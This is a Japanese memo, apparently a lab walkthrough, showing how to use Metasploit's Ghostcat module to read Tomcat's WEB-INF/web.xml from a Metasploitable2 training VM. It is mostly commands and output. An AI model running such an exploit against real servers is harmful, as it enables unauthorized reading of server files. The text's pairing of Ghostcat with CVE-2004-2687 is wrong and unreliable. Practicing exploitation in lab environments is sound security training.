Metasploitable2 exploit Tomcat

Metasploitable2のTomcatをエクスプロイトする備忘録です。
Tomcatには、Ghostcatという情報を窃取される脆弱性(CVE-2004-2687)があます。
# Metasploitでエクスプロイトする
Kali LinuxのIPアドレス：192.168.56.10
Metasploitable2のサーバーのIPアドレス：192.168.56.20
Metasploitを起動します。
```
msfconsole
```
exploitを検索します。
```
msf6 > search ghostcat

Matching Modules
================

   #  Name                                  Disclosure Date  Rank    Check  Description
   -  ----                                  ---------------  ----    -----  -----------
   0  auxiliary/admin/http/tomcat_ghostcat  2020-02-20       normal  Yes    Apache Tomcat AJP File Read
```
0番を使用します。
```
msf6 > use 0
msf6 auxiliary(admin/http/tomcat_ghostcat) > 
```
オプションを確認します。
```
msf6 auxiliary(admin/http/tomcat_ghostcat) > show options

Module options (auxiliary/admin/http/tomcat_ghostcat):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   FILENAME  /WEB-INF/web.xml  yes       File name
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
                                         basics/using-metasploit.html
   RPORT     8009              yes       The Apache JServ Protocol (AJP) port (TCP)
```
RHOSTSのRequiredがyesで、値がセットされてないので、セットします。
```
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
```
exploitします。
WEBINF/web.xmlが表示されます。
```
msf6 auxiliary(admin/http/tomcat_ghostcat) > exploit
[*] Running module against 192.168.56.20
<?xml version="1.0" encoding="ISO-8859-1"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->

<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
    version="2.4">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to Tomcat
  </description>

<!-- JSPC servlet mappings start -->

    <servlet>
        <servlet-name>org.apache.jsp.index_jsp</servlet-name>
        <servlet-class>org.apache.jsp.index_jsp</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>org.apache.jsp.index_jsp</servlet-name>
        <url-pattern>/index.jsp</url-pattern>
    </servlet-mapping>

<!-- JSPC servlet mappings end -->

</web-app>

[+] 192.168.56.20:8009 - File contents save to: /root/.msf4/loot/20241005142615_default_192.168.56.20_WEBINFweb.xml_770617.txt
[*] Auxiliary module execution completed
```